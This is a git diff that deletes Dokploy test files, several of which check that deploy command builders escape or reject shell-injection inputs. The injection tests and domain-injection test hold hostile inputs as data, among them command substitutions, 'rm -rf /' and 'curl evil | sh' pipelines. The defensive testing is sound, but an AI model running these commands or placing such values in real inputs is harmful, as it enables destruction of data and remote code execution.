-		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = (m: string) => [
-	`$(touch ${m})`,
-	"`touch " + m + "`",
-	`x; touch ${m}`,
-	`x | touch ${m}`,
-];
-
-describe("cluster removeWorker nodeId injection", () => {
-	// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
-	it("escapes nodeId in drain/remove commands", () => {
-		for (const nodeId of PAYLOADS(MARK)) {
-			const drain = `: node update --availability drain ${quote([nodeId])}`;
-			const remove = `: node rm ${quote([nodeId])} --force`;
-			expect(runsSafely(drain)).toBe(true);
-			expect(runsSafely(remove)).toBe(true);
-		}
-	});
-});
-
-describe("swarm upload registry tag/push injection", () => {
-	// registryTag is built from registryUrl/username/imagePrefix (username and
-	// imagePrefix have no schema regex). Assert docker tag/push stay safe.
-	it("escapes a malicious imagePrefix flowing into the registry tag", () => {
-		for (const payload of PAYLOADS(MARK)) {
-			const registryTag = getRegistryTag(
-				{
-					registryUrl: "registry.example.com",
-					imagePrefix: payload,
-					username: "user",
-				} as any,
-				"app:latest",
-			);
-			const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
-			const pushCmd = `: push ${quote([registryTag])}`;
-			expect(runsSafely(tagCmd)).toBe(true);
-			expect(runsSafely(pushCmd)).toBe(true);
-		}
-	});
-
-	it("keeps a legitimate registry tag intact", () => {
-		const tag = getRegistryTag(
-			{
-				registryUrl: "registry.example.com",
-				imagePrefix: "team",
-				username: "user",
-			} as any,
-			"myapp:1.2.3",
-		);
-		expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
-		expect(parse(quote([tag]))).toEqual([tag]);
-	});
-});

apps/dokploy/__test__/compose/compose-command-injection.test.ts

@@ -1,169 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { createCommand } from "@dokploy/server/utils/builders/compose";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
-
-const base = {
-	composeType: "docker-compose" as const,
-	appName: "compose-app",
-	sourceType: "raw" as const,
-	command: "",
-	composePath: "docker-compose.yml",
-};
-
-// createCommand output is interpolated as `docker ${command}` at the deploy
-// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
-		execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = [
-	`$(touch ${MARK})`,
-	`\`touch ${MARK}\``,
-	`x; touch ${MARK}`,
-	`x | touch ${MARK}`,
-];
-
-describe("compose createCommand injection", () => {
-	it("escapes composePath (docker-compose)", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				sourceType: "github",
-				composePath: p,
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("escapes composePath (stack deploy)", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				composeType: "stack",
-				sourceType: "github",
-				composePath: p,
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("escapes appName", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				sourceType: "github",
-				appName: p,
-				composePath: "docker-compose.yml",
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("rejects a custom command containing shell control characters", () => {
-		for (const bad of [
-			"up -d; rm -rf /",
-			"up && curl evil | sh",
-			"up $(touch x)",
-			"up `id`",
-		]) {
-			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
-				/Invalid characters/,
-			);
-		}
-	});
-
-	it("allows a legitimate custom command", () => {
-		const cmd = createCommand({
-			...base,
-			command: "compose -f docker-compose.yml -p app up -d --build",
-		} as any);
-		expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
-	});
-
-	it("keeps a legitimate composePath intact", () => {
-		const cmd = createCommand({
-			...base,
-			sourceType: "github",
-			composePath: "deploy/docker-compose.prod.yml",
-		} as any);
-		expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
-		expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
-			"deploy/docker-compose.prod.yml",
-		);
-	});
-
-	it("allows chained docker compose commands with '&&'", () => {
-		const cmd = createCommand({
-			...base,
-			command:
-				"compose pull && docker compose down && docker compose up -d --build",
-		} as any);
-		expect(cmd).toBe(
-			"compose pull && docker compose down && docker compose up -d --build",
-		);
-	});
-
-	it("allows chaining with the legacy 'docker-compose' spelling", () => {
-		const cmd = createCommand({
-			...base,
-			command: "compose pull && docker-compose down",
-		} as any);
-		expect(cmd).toBe("compose pull && docker-compose down");
-	});
-
-	it("rejects a single '&' used for backgrounding", () => {
-		expect(() =>
-			createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
-		).toThrow(/Single '&' is not allowed/);
-	});
-
-	it("rejects a malformed '&&&' chain", () => {
-		expect(() =>
-			createCommand({
-				...base,
-				command: "compose pull &&& docker compose up -d",
-			} as any),
-		).toThrow(/Single '&' is not allowed/);
-	});
-
-	it("rejects chained segments that are not docker compose invocations", () => {
-		expect(() =>
-			createCommand({
-				...base,
-				command: "compose pull && rm -rf /",
-			} as any),
-		).toThrow(/must strictly start with 'docker compose '/);
-	});
-
-	it("rejects an attempted injection smuggled inside a chained segment", () => {
-		for (const bad of [
-			"compose pull && docker compose up -d; touch /tmp/pwn",
-			"compose pull && docker compose up -d $(touch /tmp/pwn)",
-			"compose pull && docker compose up -d `touch /tmp/pwn`",
-			"compose pull && docker compose up -d | touch /tmp/pwn",
-		]) {
-			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
-				/Invalid characters/,
-			);
-		}
-	});
-
-	it("rejects a chain that only pretends to start with docker compose later in the string", () => {
-		expect(() =>
-			createCommand({
-				...base,
-				command: "compose pull && curl evil.sh | docker compose up -d",
-			} as any),
-		).toThrow(/Invalid characters/);
-	});
-});

apps/dokploy/__test__/compose/compose-project-directory.test.ts

@@ -1,123 +0,0 @@
-import { createCommand } from "@dokploy/server/utils/builders/compose";
-import { describe, expect, it } from "vitest";
-
-const base = {
-	composeType: "docker-compose" as const,
-	appName: "compose-app",
-	sourceType: "github" as const,
-	command: "",
-};
-
-describe("compose createCommand --project-directory", () => {
-	it("pins --project-directory to the code dir when composePath is nested", () => {
-		const cmd = createCommand(
-			{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
-			"/etc/dokploy/compose/compose-app/code",
-		);
-
-		expect(cmd).toContain(
-			"--project-directory /etc/dokploy/compose/compose-app/code",
-		);
-		expect(cmd).toContain("-f ./deploy/docker-compose.yml");
-	});
-
-	it("omits --project-directory when no projectPath is passed", () => {
-		const cmd = createCommand({
-			...base,
-			composePath: "./deploy/docker-compose.yml",
-		} as any);
-
-		expect(cmd).not.toContain("--project-directory");
-	});
-
-	it("does not add --project-directory to stack deploy (unsupported flag)", () => {
-		const cmd = createCommand(
-			{
-				...base,
-				composeType: "stack",
-				composePath: "./deploy/docker-compose.yml",
-			} as any,
-			"/etc/dokploy/compose/compose-app/code",
-		);
-
-		expect(cmd).not.toContain("--project-directory");
-		expect(cmd.startsWith("stack deploy")).toBe(true);
-	});
-
-	it("keeps raw sourceType resolving from the code dir (root docker-compose.yml)", () => {
-		const cmd = createCommand(
-			{ ...base, sourceType: "raw", composePath: "docker-compose.yml" } as any,
-			"/etc/dokploy/compose/compose-app/code",
-		);
-
-		expect(cmd).toContain(
-			"--project-directory /etc/dokploy/compose/compose-app/code",
-		);
-		expect(cmd).toContain("-f docker-compose.yml");
-	});
-
-	it("resolves build.context against the compose file's own directory when there are no mounts", () => {
-		const cmd = createCommand({
-			...base,
-			composePath: "./backend/docker-compose.yml",
-		} as any);
-
-		expect(cmd).not.toContain("--project-directory");
-		expect(cmd).toContain("-f ./backend/docker-compose.yml");
-	});
-});
-
-describe("compose createCommand --env-file", () => {
-	it("points --env-file at the generated .env next to a nested compose file", () => {
-		const cmd = createCommand(
-			{
-				...base,
-				composePath: "./deploy/docker-compose.yml",
-				createEnvFile: true,
-			} as any,
-			"/etc/dokploy/compose/compose-app/code",
-		);
-
-		expect(cmd).toContain("--env-file deploy/.env");
-		expect(cmd).toContain(
-			"--project-directory /etc/dokploy/compose/compose-app/code",
-		);
-	});
-
-	it("omits --env-file when createEnvFile is disabled", () => {
-		const cmd = createCommand(
-			{ ...base, composePath: "./deploy/docker-compose.yml" } as any,
-			"/etc/dokploy/compose/compose-app/code",
-		);
-
-		expect(cmd).not.toContain("--env-file");
-	});
-
-	it("uses the code-root .env for raw sourceType", () => {
-		const cmd = createCommand(
-			{
-				...base,
-				sourceType: "raw",
-				composePath: "docker-compose.yml",
-				createEnvFile: true,
-			} as any,
-			"/etc/dokploy/compose/compose-app/code",
-		);
-
-		expect(cmd).toContain("--env-file .env");
-	});
-
-	it("does not add --env-file to stack deploy (unsupported flag)", () => {
-		const cmd = createCommand(
-			{
-				...base,
-				composeType: "stack",
-				composePath: "./deploy/docker-compose.yml",
-				createEnvFile: true,
-			} as any,
-			"/etc/dokploy/compose/compose-app/code",
-		);
-
-		expect(cmd).not.toContain("--env-file");
-	});
-});

apps/dokploy/__test__/compose/compose-pull-images.test.ts

@@ -1,44 +0,0 @@
-import { createCommand } from "@dokploy/server/utils/builders/compose";
-import { describe, expect, it } from "vitest";
-
-const base = {
-	composeType: "docker-compose" as const,
-	appName: "compose-app",
-	sourceType: "github" as const,
-	composePath: "./docker-compose.yml",
-	command: "",
-};
-
-describe("compose createCommand --pull always", () => {
-	it("adds --pull always when pullImages is enabled", () => {
-		const cmd = createCommand({ ...base, pullImages: true } as any);
-
-		expect(cmd).toContain("up -d --build --remove-orphans --pull always");
-	});
-
-	it("omits --pull when pullImages is disabled", () => {
-		const cmd = createCommand({ ...base, pullImages: false } as any);
-
-		expect(cmd).not.toContain("--pull");
-	});
-
-	it("does not add --pull to stack deploy", () => {
-		const cmd = createCommand({
-			...base,
-			composeType: "stack",
-			pullImages: true,
-		} as any);
-
-		expect(cmd).not.toContain("--pull");
-	});
-
-	it("leaves a custom command untouched", () => {
-		const cmd = createCommand({
-			...base,
-			command: "compose -p compose-app up -d",
-			pullImages: true,
-		} as any);
-
-		expect(cmd).toBe("compose -p compose-app up -d");
-	});
-});

apps/dokploy/__test__/compose/domain-command-injection.test.ts

@@ -1,69 +0,0 @@
-import { parse } from "shell-quote";
-import { describe, expect, it, vi } from "vitest";
-
-// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
-// "exists" but does not contain the attacker's service, forcing the error path
-// whose message embeds the user-controlled serviceName.
-vi.mock("node:fs", async (importOriginal) => {
-	const actual = await importOriginal<typeof import("node:fs")>();
-	return {
-		...actual,
-		existsSync: () => true,
-		readFileSync: () => "services:\n  web:\n    image: nginx\n",
-	};
-});
-
-import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
-
-const baseCompose = {
-	appName: "my-app",
-	serverId: null,
-	composeType: "docker-compose",
-	sourceType: "raw",
-	composePath: "docker-compose.yml",
-	isolatedDeployment: false,
-	randomize: false,
-	suffix: "",
-} as any;
-
-const makeDomain = (serviceName: string) =>
-	({
-		host: "example.com",
-		serviceName,
-		https: false,
-		uniqueConfigKey: 1,
-		port: 3000,
-		enabled: true,
-	}) as any;
-
-// If the returned shell fragment is safe, parse() yields only string tokens.
-// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
-const leaksShellSyntax = (command: string, marker: string) =>
-	parse(command).some(
-		(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
-	);
-
-describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
-	it("does not let a malicious serviceName inject shell operators", async () => {
-		const result = await writeDomainsToCompose(baseCompose, [
-			makeDomain("$(touch /tmp/pwned)"),
-		]);
-
-		// The service does not exist in the compose, so we hit the error branch.
-		expect(result).toContain("Has occurred an error");
-		// The payload text may appear inside the single-quoted echo argument, but
-		// it must never parse as a shell operator ($(), backtick, ; …).
-		expect(leaksShellSyntax(result, "touch")).toBe(false);
-	});
-
-	it("neutralizes backtick and semicolon payloads too", async () => {
-		for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
-			const result = await writeDomainsToCompose(baseCompose, [
-				makeDomain(`svc${payload}`),
-			]);
-			expect(leaksShellSyntax(result, "rm")).toBe(false);
-			expect(leaksShellSyntax(result, "curl")).toBe(false);
-			expect(leaksShellSyntax(result, "id")).toBe(false);
-		}
-	});
-});

apps/dokploy/__test__/compose/domain/enabled-filter.test.ts

@@ -1,306 +0,0 @@
-import type { Compose } from "@dokploy/server/services/compose";
-import type { Domain } from "@dokploy/server/services/domain";
-import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// With sourceType "raw", addDomainToCompose parses compose.composeFile
-// directly instead of reading from disk, so baseCompose exposes it as a
-// getter that always reflects the current composeYaml for each test case.
-const baseComposeYaml = `
-services:
-  frigate:
-    image: frigate
-`;
-let composeYaml = baseComposeYaml;
-
-const baseCompose = {
-	appName: "test-app",
-	composeType: "docker-compose",
-	composePath: "docker-compose.yml",
-	sourceType: "raw",
-	serverId: null,
-	isolatedDeployment: false,
-	randomize: false,
-	suffix: "",
-	get composeFile() {
-		return composeYaml;
-	},
-} as unknown as Compose;
-
-const baseDomain: Domain = {
-	host: "frigate.example.com",
-	port: 8971,
-	customEntrypoint: null,
-	https: false,
-	uniqueConfigKey: 1,
-	customCertResolver: null,
-	certificateType: "none",
-	applicationId: "",
-	composeId: "compose-id",
-	domainType: "compose",
-	serviceName: "frigate",
-	domainId: "domain-id",
-	path: "/",
-	createdAt: "",
-	previewDeploymentId: "",
-	internalPath: "/",
-	stripPath: false,
-	middlewares: null,
-	forwardAuthEnabled: false,
-	enabled: true,
-};
-
-const serviceLabels = (
-	result: Awaited<ReturnType<typeof addDomainToCompose>>,
-) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
-
-describe("addDomainToCompose enabled filtering", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-		composeYaml = baseComposeYaml;
-	});
-
-	it("generates traefik labels for an enabled domain", async () => {
-		const result = await addDomainToCompose(baseCompose, [
-			{ ...baseDomain, enabled: true },
-		]);
-
-		const labels = serviceLabels(result);
-		expect(labels).toContain("traefik.enable=true");
-		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
-			true,
-		);
-	});
-
-	it("skips a disabled domain entirely (no traefik labels)", async () => {
-		const result = await addDomainToCompose(baseCompose, [
-			{ ...baseDomain, enabled: false },
-		]);
-
-		const labels = serviceLabels(result);
-		expect(labels).not.toContain("traefik.enable=true");
-		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
-			false,
-		);
-	});
-
-	it.each([
-		[
-			"docker-compose",
-			`services:
-  frigate:
-    image: frigate
-    labels:
-      - traefik.enable=true
-      - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
-      - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
-      - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
-      - custom.label=preserved
-`,
-		],
-		[
-			"stack",
-			`services:
-  frigate:
-    image: frigate
-    deploy:
-      labels:
-        - traefik.enable=true
-        - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
-        - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
-        - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
-        - custom.label=preserved
-`,
-		],
-	] as const)(
-		"removes stale labels for a disabled domain from %s rebuilds",
-		async (composeType, staleComposeYaml) => {
-			composeYaml = staleComposeYaml;
-
-			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
-				{ ...baseDomain, enabled: false },
-			]);
-
-			const service = result?.services?.frigate;
-			const labels =
-				composeType === "docker-compose"
-					? service?.labels
-					: service?.deploy?.labels;
-			expect(labels).toContain("custom.label=preserved");
-			expect(
-				(labels as string[]).some((label) => label.includes("test-app-1")),
-			).toBe(false);
-		},
-	);
-
-	it.each([
-		[
-			"docker-compose",
-			`services:
-  legacy:
-    image: frigate
-    labels:
-      - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
-      - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
-      - custom.label=preserved
-  frigate:
-    image: frigate
-`,
-		],
-		[
-			"stack",
-			`services:
-  legacy:
-    image: frigate
-    deploy:
-      labels:
-        - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
-        - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
-        - custom.label=preserved
-  frigate:
-    image: frigate
-`,
-		],
-	] as const)(
-		"removes stale labels from the previous %s service after reassignment",
-		async (composeType, staleComposeYaml) => {
-			composeYaml = staleComposeYaml;
-
-			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
-				{ ...baseDomain, serviceName: "frigate", enabled: false },
-			]);
-
-			const previousService = result?.services?.legacy;
-			const labels =
-				composeType === "docker-compose"
-					? previousService?.labels
-					: previousService?.deploy?.labels;
-			expect(labels).toContain("custom.label=preserved");
-			expect(
-				(labels as string[]).some((label) => label.includes("test-app-1")),
-			).toBe(false);
-		},
-	);
-
-	it.each([
-		[
-			"docker-compose",
-			`services:
-  frigate:
-    image: frigate
-    labels:
-      traefik.enable: "true"
-      traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
-      traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
-      traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
-      custom.label: preserved
-`,
-		],
-		[
-			"stack",
-			`services:
-  frigate:
-    image: frigate
-    deploy:
-      labels:
-        traefik.enable: "true"
-        traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
-        traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
-        traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
-        custom.label: preserved
-`,
-		],
-	] as const)(
-		"removes stale mapping labels for a disabled domain from %s rebuilds",
-		async (composeType, staleComposeYaml) => {
-			composeYaml = staleComposeYaml;
-
-			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
-				{ ...baseDomain, enabled: false },
-			]);
-
-			const service = result?.services?.frigate;
-			const labels =
-				composeType === "docker-compose"
-					? service?.labels
-					: service?.deploy?.labels;
-			expect(labels).toMatchObject({ "custom.label": "preserved" });
-			expect(
-				Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
-			).toBe(false);
-		},
-	);
-
-	it.each([
-		[
-			"docker-compose",
-			`services:
-  frigate:
-    image: frigate
-    labels:
-      traefik.enable: "true"
-      traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
-      traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
-      custom.label: preserved
-`,
-			"traefik.docker.network",
-		],
-		[
-			"stack",
-			`services:
-  frigate:
-    image: frigate
-    deploy:
-      labels:
-        traefik.enable: "true"
-        traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
-        traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
-        custom.label: preserved
-`,
-			"traefik.swarm.network",
-		],
-	] as const)(
-		"regenerates routing in mapping labels for an enabled domain in %s",
-		async (composeType, mappingComposeYaml, networkLabel) => {
-			composeYaml = mappingComposeYaml;
-
-			const result = await addDomainToCompose({ ...baseCompose, composeType }, [
-				{ ...baseDomain, enabled: true },
-			]);
-
-			const service = result?.services?.frigate;
-			const labels =
-				composeType === "docker-compose"
-					? service?.labels
-					: service?.deploy?.labels;
-			expect(labels).toMatchObject({
-				"custom.label": "preserved",
-				"traefik.enable": "true",
-				[networkLabel]: "dokploy-network",
-				"traefik.http.routers.test-app-1-web.rule":
-					"Host(`frigate.example.com`)",
-				"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
-			});
-		},
-	);
-
-	it("emits labels only for the enabled domain when both are present", async () => {
-		const result = await addDomainToCompose(baseCompose, [
-			{ ...baseDomain, host: "enabled.example.com", enabled: true },
-			{
-				...baseDomain,
-				host: "disabled.example.com",
-				uniqueConfigKey: 2,
-				enabled: false,
-			},
-		]);
-
-		const labels = serviceLabels(result);
-		expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
-			true,
-		);
-		expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
-			false,
-		);
-	});
-});

apps/dokploy/__test__/compose/domain/host-rule-format.test.ts

@@ -35,7 +35,6 @@ describe("Host rule format regression tests", () => {
 		customEntrypoint: null,
 		middlewares: null,
 		forwardAuthEnabled: false,
-		enabled: true,
 	};
 
 	describe("Host rule format validation", () => {

apps/dokploy/__test__/compose/domain/labels.test.ts

@@ -24,7 +24,6 @@ describe("createDomainLabels", () => {
 		stripPath: false,
 		middlewares: null,
 		forwardAuthEnabled: false,
-		enabled: true,
 	};
 
 	it("should create basic labels for web entrypoint", async () => {

apps/dokploy/__test__/compose/domain/raw-compose.test.ts

@@ -1,59 +0,0 @@
-import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
-import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
-import { describe, expect, it, vi } from "vitest";
-
-vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
-	...(await importOriginal<
-		typeof import("@dokploy/server/utils/process/execAsync")
-	>()),
-	execAsyncRemote: vi.fn(),
-}));
-
-describe("raw remote compose conversion (#4794)", () => {
-	it("uses the saved raw source and preserves supported mount syntax", async () => {
-		vi.mocked(execAsyncRemote).mockResolvedValue({
-			stdout: "services:\n  test:\n    image: alpine:latest\n",
-			stderr: "",
-		});
-
-		const compose = {
-			appName: "raw-stack",
-			composeFile: `
-services:
-  test:
-    image: alpine:latest
-    volumes:
-      - type: tmpfs
-        target: /scratch
-      - type: volume
-        source: test-data
-        target: /data
-    tmpfs:
-      - /cache
-volumes:
-  test-data:
-`,
-			composePath: "./docker-compose.yml",
-			composeType: "stack",
-			isolatedDeployment: false,
-			isolatedDeploymentsVolume: false,
-			randomize: false,
-			serverId: "remote-server",
-			sourceType: "raw",
-			suffix: "",
-		} as unknown as Parameters<typeof addDomainToCompose>[0];
-
-		const converted = await addDomainToCompose(compose, []);
-
-		expect(converted?.services?.test?.volumes).toEqual([
-			{ type: "tmpfs", target: "/scratch" },
-			{
-				type: "volume",
-				source: "test-data",
-				target: "/data",
-			},
-		]);
-		expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
-		expect(execAsyncRemote).not.toHaveBeenCalled();
-	});
-});

apps/dokploy/__test__/compose/env-file-literals.test.ts

@@ -1,111 +0,0 @@
-import { execFileSync } from "node:child_process";
-import { mkdirSync, rmSync, writeFileSync } from "node:fs";
-import { join } from "node:path";
-import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
-import { afterEach, describe, expect, it } from "vitest";
-
-// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
-// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
-const appName = `env-file-literals-${process.pid}`;
-const projectPath = join(process.cwd(), ".docker", "compose", appName);
-const codePath = join(projectPath, "code");
-
-afterEach(() => {
-	try {
-		execFileSync("docker", ["compose", "down", "--remove-orphans"], {
-			cwd: codePath,
-			stdio: "ignore",
-		});
-	} catch {
-		// Project may not have been created (e.g. an earlier assertion failed).
-	}
-	rmSync(projectPath, { force: true, recursive: true });
-});
-
-const cases: Record<string, string> = {
-	PASSWORD: "pa$$word",
-	SPECIAL: '!"#$%&/()=?',
-	NESTED_JSON: '{"nested":{"a":1}}',
-	MAIL_PASSWORD: "abc#de",
-	TRAILING_BACKSLASH: "trailing\\",
-	QUOTE_INSIDE: 'she said "hi"',
-	APOSTROPHE: "it's a test",
-	UNICODE: "héllo wörld 日本語 🚀",
-	MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
-	APP_URL: "https://example.com",
-	ASSET_URL: "https://example.com",
-	DB_HOST: "localhost",
-};
-
-// How each value must be typed in the UI so the (unchanged) dotenv input
-// parser resolves it to the raw string in `cases` above.
-const inputEncoding: Record<string, string> = {
-	PASSWORD: "pa$$word",
-	SPECIAL: `'!"#$%&/()=?'`,
-	NESTED_JSON: '{"nested":{"a":1}}',
-	MAIL_PASSWORD: `"abc#de"`,
-	TRAILING_BACKSLASH: "trailing\\",
-	QUOTE_INSIDE: 'she said "hi"',
-	APOSTROPHE: "it's a test",
-	UNICODE: "héllo wörld 日本語 🚀",
-	MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
-	APP_URL: "https://example.com",
-	ASSET_URL: '"${APP_URL}"',
-	DB_HOST: '"${UNDEFINED_HOST:-localhost}"',
-};
-
-const hasDocker = () => {
-	try {
-		execFileSync("docker", ["info"], { stdio: "ignore" });
-		return true;
-	} catch {
-		return false;
-	}
-};
-
-describe.skipIf(!hasDocker())("getCreateEnvFileCommand", () => {
-	it("writes special environment values that Docker Compose reads back literally", () => {
-		mkdirSync(codePath, { recursive: true });
-
-		const serviceEnv = Object.entries(inputEncoding)
-			.map(([key, value]) => `${key}=${value}`)
-			.join("\n");
-
-		const command = getCreateEnvFileCommand({
-			appName,
-			composePath: "docker-compose.yml",
-			env: serviceEnv,
-			randomize: false,
-			suffix: "",
-			serverId: null,
-			environment: { project: { env: "" }, env: "" },
-		} as Parameters<typeof getCreateEnvFileCommand>[0]);
-
-		execFileSync("bash", ["-c", command]);
-
-		const composeFile = `services:\n  test:\n    image: busybox\n    environment:\n${Object.keys(
-			cases,
-		)
-			.map((key) => `      - ${key}=\${${key}}`)
-			.join("\n")}\n`;
-		writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
-
-		const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
-
-		const out = execFileSync(
-			"docker",
-			["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
-			{ cwd: codePath, encoding: "utf8" },
-		);
-
-		const parts = out.split("\0");
-		const actual: Record<string, string> = {};
-		for (let i = 0; i < parts.length - 1; i += 2) {
-			actual[parts[i] as string] = parts[i + 1] as string;
-		}
-
-		for (const [key, value] of Object.entries(cases)) {
-			expect(actual[key], key).toBe(value);
-		}
-	}, 60000);
-});

apps/dokploy/__test__/compose/env-file-preserved.test.ts

@@ -1,45 +0,0 @@
-import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
-import { describe, expect, it, vi } from "vitest";
-
-// Compose now has a `createEnvFile` toggle (default true), mirroring the
-// Application builder's flag: when disabled, Dokploy never writes `.env`,
-// so a repo-tracked file survives untouched.
-vi.mock("@dokploy/server/utils/docker/domain", () => ({
-	writeDomainsToCompose: vi.fn().mockResolvedValue(""),
-}));
-
-const baseCompose = {
-	appName: "env-file-toggle",
-	sourceType: "raw",
-	command: "",
-	composePath: "docker-compose.yml",
-	composeType: "docker-compose",
-	isolatedDeployment: false,
-	randomize: false,
-	suffix: "",
-	serverId: null,
-	env: "FOO=bar",
-	mounts: [],
-	domains: [],
-	environment: { project: { env: "" }, env: "" },
-} as unknown as Parameters<typeof getBuildComposeCommand>[0];
-
-describe("getBuildComposeCommand createEnvFile toggle", () => {
-	it("createEnvFile: false never writes the .env file", async () => {
-		const command = await getBuildComposeCommand({
-			...baseCompose,
-			createEnvFile: false,
-		});
-
-		expect(command).not.toContain("base64 -d >");
-	});
-
-	it("createEnvFile: true (default) writes Dokploy's vars", async () => {
-		const command = await getBuildComposeCommand({
-			...baseCompose,
-			createEnvFile: true,
-		});
-
-		expect(command).toContain("base64 -d >");
-	});
-});

apps/dokploy/__test__/compose/model/model.test.ts

@@ -1,113 +0,0 @@
-import type { Compose, ComposeSpecification } from "@dokploy/server";
-import {
-	addAppNameToPreventCollision,
-	addSuffixToAllProperties,
-} from "@dokploy/server";
-import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
-import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
-import { expect, test, vi } from "vitest";
-import { stringify } from "yaml";
-import composeSpec from "../../../components/shared/compose-spec.json";
-
-vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
-	...(await importOriginal<
-		typeof import("@dokploy/server/utils/process/execAsync")
-	>()),
-	execAsyncRemote: vi.fn(),
-}));
-
-const modelCompose = {
-	services: {
-		app: {
-			image: "my-chat-app",
-			models: ["llm"],
-		},
-		worker: {
-			image: "my-worker",
-			models: {
-				llm: {
-					endpoint_var: "LLM_URL",
-					model_var: "LLM_MODEL",
-				},
-			},
-		},
-	},
-	models: {
-		llm: {
-			model: "ai/smollm2",
-			context_size: 2048,
-			runtime_flags: ["--verbose"],
-		},
-	},
-} satisfies ComposeSpecification;
-
-test("bundled compose schema declares models", () => {
-	expect(composeSpec.properties).toHaveProperty("models");
-	expect(composeSpec.definitions.model.required).toEqual(["model"]);
-	expect(composeSpec.definitions.service.properties).toHaveProperty("models");
-});
-
-test("suffixing does not rename model identifiers or drop model config", () => {
-	const updated = addSuffixToAllProperties(
-		structuredClone(modelCompose),
-		"testhash",
-	);
-
-	expect(updated.models?.llm?.model).toBe("ai/smollm2");
-	expect(updated.models?.llm?.context_size).toBe(2048);
-	expect(updated.models?.llm?.runtime_flags).toEqual(["--verbose"]);
-	expect(updated.services?.["app-testhash"]?.models).toEqual(["llm"]);
-	expect(updated.services?.["worker-testhash"]?.models).toEqual({
